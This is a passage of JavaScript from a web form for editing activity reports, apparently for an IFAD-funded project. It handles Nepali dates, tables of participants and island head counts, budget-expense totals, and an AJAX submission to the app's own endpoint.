calendarFunctions.bsDateFormat("%y-%M-%d", endNepaliDate.bsYear, endNepaliDate.bsMonth, endNepaliDate.bsDate); $("#nepaliEndDatePicker").val(endFormatedNepaliDate); $("#nepaliEndDatePicker").nepaliDatePicker({ dateFormat: "%y-%M-%d", closeOnDateSelect: true }); $("#nepaliEndDatePicker").on("dateSelect", function (event) { var datePickerData = event.datePickerData; $("#endDate").val(datePickerData.adDate.toLocaleDateString()); $("#nepaliEndDate").val(datePickerData.bsYear + "-" + datePickerData.bsMonth + "-" + datePickerData.bsDate); }); }); const id = $("#ActivityReportingId").val(); function addPMember(l) { const form = $("#tpm") var table = $("#tblPMember tbody"); var b = l; $.validator.unobtrusive.parse(form); debugger; for (var i = 0; i < b.length; i++) { if (b[i].value !== "") { var sp = b[i]; var row = "<tr>"; row += "<td>" + sp[0] + "</td>"; row += "<td>" + sp[1] + "</td>"; row += "<td>" + sp[2] + "</td>"; row += "<td>" + sp[3] + "</td>"; row += "<td>" + sp[4] + "</td>"; @*row += "<td>" + sp[5] + "</td>"; row += "<td>" + sp[6] + "</td>";*@ row += "<td><a class='btn btn-default btn-xs' onclick='deleteRow(this)' title='Delete'><i class='fa fa-remove' style='color: red;'></i></a></td>" table.append(row); } } clearAll(); }; function addPOtherMember() { var name = $("#MemberName").val(); //var ethnicity = $("#EthnicityId").val(); var gen = $("#Gender").val(); //var origin = $("#Origin").val(); var age = parseInt($("#Age").val()); var contact = $("#Contact").val(); var nationalid = $("#NationalId").val(); debugger if (name == "" || gen == "" || age == "" || contact == "" || nationalid == "") { ShowMessage("error", "Please fill all data field!!!"); return false; } //const ethnicityId = $("#EthnicityId option:selected"); const gender = $("#Gender option:selected"); const form = $("#tpo") var table = $("#tblPOther tbody"); $.validator.unobtrusive.parse(form); const model = window.serializeForm(form); var row = "<tr>"; row += "<td>" + model.MemberName + "</td>"; //row += "<td>" + ethnicityId.text() + "<input type=hidden name='EthnicityId' value=" + ethnicityId.val() + "></td>"; row += "<td>" + gender.text() + "<input type=hidden name='Gender' value=" + gender.text() + "></td>"; row += "<td>" + parseInt(age) + "<input type=hidden name='Age' value=" + parseInt(age) + "></td>"; row += "<td>" + model.Contact + "</td>"; row += "<td>" + model.NationalId + "</td>" // row += "<td>" + model.Origin + "</td>"; row += "<td><a class='btn btn-default btn-xs' onclick='deleteRow(this)' title='Delete'><i class='fa fa-remove' style='color: red;'></i></a></td>" table.append(row); clearAll(); }; //Island Info function addIslandInfo() { debugger; var atoll = $("#AId option:selected"); var island = $("#IId option:selected"); var men = $("#Men").val(); var women = $("#Women").val(); var others = $("#Others").val(); var remarks = $("#Remarks").val(); const form = $("#tif") var table = $("#tblIFMember tbody"); $.validator.unobtrusive.parse(form); const model = window.serializeForm(form); var row = "<tr>"; row += "<td>" + atoll.text() + "<input type=hidden name='Atoll' value=" + atoll.val() + "></td>"; row += "<td>" + island.text() + "<input type=hidden name='Island' value=" + island.val() + "></td>"; row += "<td>" + parseInt(men) + "</td>"; row += "<td>" + parseInt(women) + "</td>"; row += "<td>" + parseInt(others) + "</td>"; row += "<td>" + model.Remarks + "</td>"; row += "<td><a class='btn btn-default btn-xs' onclick='deleteRow(this)' title='Delete'><i class='fa fa-remove' style='color: red;'></i></a></td>" table.append(row); clearAll(); }; function getIslandInfoList() { var islandInfoList = []; debugger; $("#tblIFMember tbody tr").each(function () { const atollId = $(this).find("td:eq(0)").find("input[type='hidden']").val(); const islandId = $(this).find("td:eq(1)").find("input[type='hidden']").val(); const men = $(this).find("td:eq(2)").html(); debugger; const women = $(this).find("td:eq(3)").html(); const others = $(this).find("td:eq(4)").html(); const remarks = $(this).find("td:eq(5)").html(); islandInfoList.push({ atoll: atollId, island: islandId, men: men, women: women, others: others, remarks: remarks }); }) return islandInfoList; }; function deleteRow(e) { $(e).closest("tr").remove(); }; function clearAll() { $(".clear").val(''); }; @*function getActivityParticipantMemberList() { var participantMemberList = []; debugger; $("#tblPMember tbody ").each(function () { const groupId = $(this).find("td:eq(1)").find("input[type='hidden']").val(); const groupId = $(this).find("td:eq(0)").find("input[type='hidden']").val(); const memberId = $(this).find("td:eq(1)").find("input[type='hidden']").val(); //const ethnicityId = $(this).find("td:eq(3)").find("input[type='hidden']").val(); const age = $(this).find("td:eq(2)").html(); debugger; const gender = $(this).find("td:eq(3)").html(); const contact = $(this).find("td:eq(4)").html(); //const nationalid = $(this).find("td:eq(6)").html(); participantMemberList.push({ MemberId: memberId, GroupId: groupId, //EthnicityId: ethnicityId, Gender: gender, //Origin: origin, Contact: contact, //NationalId: nationalid, ActivityReportingId: id, Age: age }); }) return participantMemberList; };*@ function getCommodities() { debugger; var a = Array.from(document.getElementById("Commodity").options).filter(option => option.selected).map(option => option.value); var stringResult = a.join(', '); console.log(stringResult); return a; } function getActivityParticipantList() { var participantList = []; $("#tblPMember tbody tr").each(function () { @*const groupId = $(this).find("td:eq(1)").find("input[type='hidden']").val();*@ const groupId = $(this).find("td:eq(0)").find("input[type='hidden']").val(); const memberId = $(this).find("td:eq(1)").find("input[type='hidden']").val(); //const ethnicityId = $(this).find("td:eq(3)").find("input[type='hidden']").val(); const age = $(this).find("td:eq(2)").html(); debugger; const gender = $(this).find("td:eq(3)").html(); const contact = $(this).find("td:eq(4)").html(); //const nationalid = $(this).find("td:eq(6)").html(); participantList.push({ MemberId: memberId, GroupId: groupId, //EthnicityId: ethnicityId, Gender: gender, //Origin: origin, Contact: contact, //NationalId: nationalid, ActivityReportingId: id, Age: age }); }) debugger; $("#tblPOther tbody tr").each(function () { const memberName = $(this).find("td:eq(0)").text(); // const ethnicity = $(this).find("td:eq(1)").find("input[type='hidden']").val(); const gender = $(this).find("td:eq(1)").find("input[type='hidden']").val(); debugger; const age = parseInt($(this).find("td:eq(2)").find("input[type='hidden']").val()); const contact = $(this).find("td:eq(3)").text(); const nationalid = $(this).find("td:eq(4)").text(); participantList.push({ ActivityReportingId: id, MemberName: memberName, Gender: gender, Age: age, Contact: contact, /* EthnicityId: ethnicity, Origin: origin,*/ NationalId: nationalid }); }) return participantList; }; function isNumberKey(element, evt) { var charCode = (evt.which) ? evt.which : event.keyCode if (charCode > 31 && (charCode < 48 || charCode > 57) && !(charCode == 46 || charCode == 8)) return false; else { var len = $(element).val().length; var index = $(element).val().indexOf('.'); if (index > 0 && charCode == 46) { return false; } if (index > 0) { var CharAfterdot = (len + 1) - index; if (CharAfterdot > 3) { return false; } } } return true; } function getNumberWithComma(value) { value = value || 0 return Number(parseFloat(value).toFixed(2)).toLocaleString("en-IN", { minimumFractionDigits: 0 }) } function removeCommaFromString(value) { var result = parseFloat(value.replace(/,/g, '')); if (isNaN(result)) { return 0; } else { return result; } } $("#IFADLoanExpense").bind("change paste keyup", function () { var ifadloan = removeCommaFromString($("#IFADLoanExpense").val()); var ifadgrant = removeCommaFromString($("#IFADGrantExpense").val()); var govfund = removeCommaFromString($("#GovFundExpense").val()); var result = parseFloat(ifadloan) + parseFloat(ifadgrant) + parseFloat(govfund); debugger; $('#ActualExpense').val(getNumberWithComma(result)) //need to check this; }); $("#IFADGrantExpense").bind("change paste keyup", function () { var ifadloan = removeCommaFromString($("#IFADLoanExpense").val()); var ifadgrant = removeCommaFromString($("#IFADGrantExpense").val()); var govfund = removeCommaFromString($("#GovFundExpense").val()); var result = parseFloat(ifadloan) + parseFloat(ifadgrant) + parseFloat(govfund); debugger; $('#ActualExpense').val(getNumberWithComma(result)) //need to check this; }); $("#GovFundExpense").bind("change paste keyup", function () { var ifadloan = removeCommaFromString($("#IFADLoanExpense").val()); var ifadgrant = removeCommaFromString($("#IFADGrantExpense").val()); var govfund = removeCommaFromString($("#GovFundExpense").val()); var result = parseFloat(ifadloan) + parseFloat(ifadgrant) + parseFloat(govfund); debugger; $('#ActualExpense').val(getNumberWithComma(result)) //need to check this; }); $("#SubmitButton").off("click").on("click", function () { @*let iFadValue = document.querySelector('#IFADLoan'); let removedCommaiFadValue = removeCommaFromString(iFadValue.value); iFadValue.value = removedCommaiFadValue;*@ document.querySelector('#IFADLoan').value = removeCommaFromString(document.querySelector('#IFADLoan').value); document.querySelector('#IFADGrant').value = removeCommaFromString(document.querySelector('#IFADGrant').value); document.querySelector('#GovFund').value = removeCommaFromString(document.querySelector('#GovFund').value); document.querySelector('#PlannedBudget').value = removeCommaFromString(document.querySelector('#PlannedBudget').value); document.querySelector('#IFADLoanExpense').value = removeCommaFromString(document.querySelector('#IFADLoanExpense').value); document.querySelector('#IFADGrantExpense').value = removeCommaFromString(document.querySelector('#IFADGrantExpense').value); document.querySelector('#GovFundExpense').value = removeCommaFromString(document.querySelector('#GovFundExpense').value); document.querySelector('#ActualExpense').value = removeCommaFromString(document.querySelector('#ActualExpense').value); debugger function request(model) { const url = "/activities/reporting/edit"; const data = JSON.stringify(model); return window.getAjaxRequest(url, "POST", data); } const form = $("form[name=CreateForm]"); console.log("form", form); debugger; const commodityName = $("#Commodity option:selected"); const commodity = getCommodities().toString(); $.validator.unobtrusive.parse(form); if (!(form).valid()) { return false; } if (!window.confirmAction()) { return; } let a = window.serializeForm(form); WorkForce.loader.show(); const activityId = $("#ActivityReportingId").val(); const newValue = $('#SelectedMemberIds').val(); function getModel() { return ({ ActivityReporting: a, ActivityParticipantList: getActivityParticipantList(), CommodityID: commodity, IslandInfoList: getIslandInfoList() @*ActivityParticipantList: getActivityParticipantMemberList()*@ }); } const model = getModel(); //const model = window.serializeForm(form); debugger; const ajax = request(model); ajax.done(function (response) { WorkForce.loader.hide(); showNotification("success"); window.location = "/activityreporting/reporting"; }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); }) @*function getGroups() { debugger; var dat = document.querySelector("#GId") dat.removeAttribute('disabled'); }*@ $("#AId").off("change").on("change", function () { const districtId = $(this).val(); const municipalityId = $("#IId").attr("data-api-selected-value"); if (districtId) { $("#IId").val(''); $("#IId").prop("disabled", false); } else { $("#IId").val(''); $("#IId").prop("disabled", "disabled"); }; displayFieldBinder($("#IId"), "/municipality/select?provinceId=" + null + "&districtId=" + districtId, null, null, function () { const selectedValue = $("#AId").attr("data-api-selected-value"); if (selectedValue !== districtId) { $("#IId").attr("data-api-selected-value", ""); } if (selectedValue === districtId) { $("#IId").val(municipalityId); } }); }); </script> <style> input[type=checkbox] { transform: scale(1.5); } </style>
Save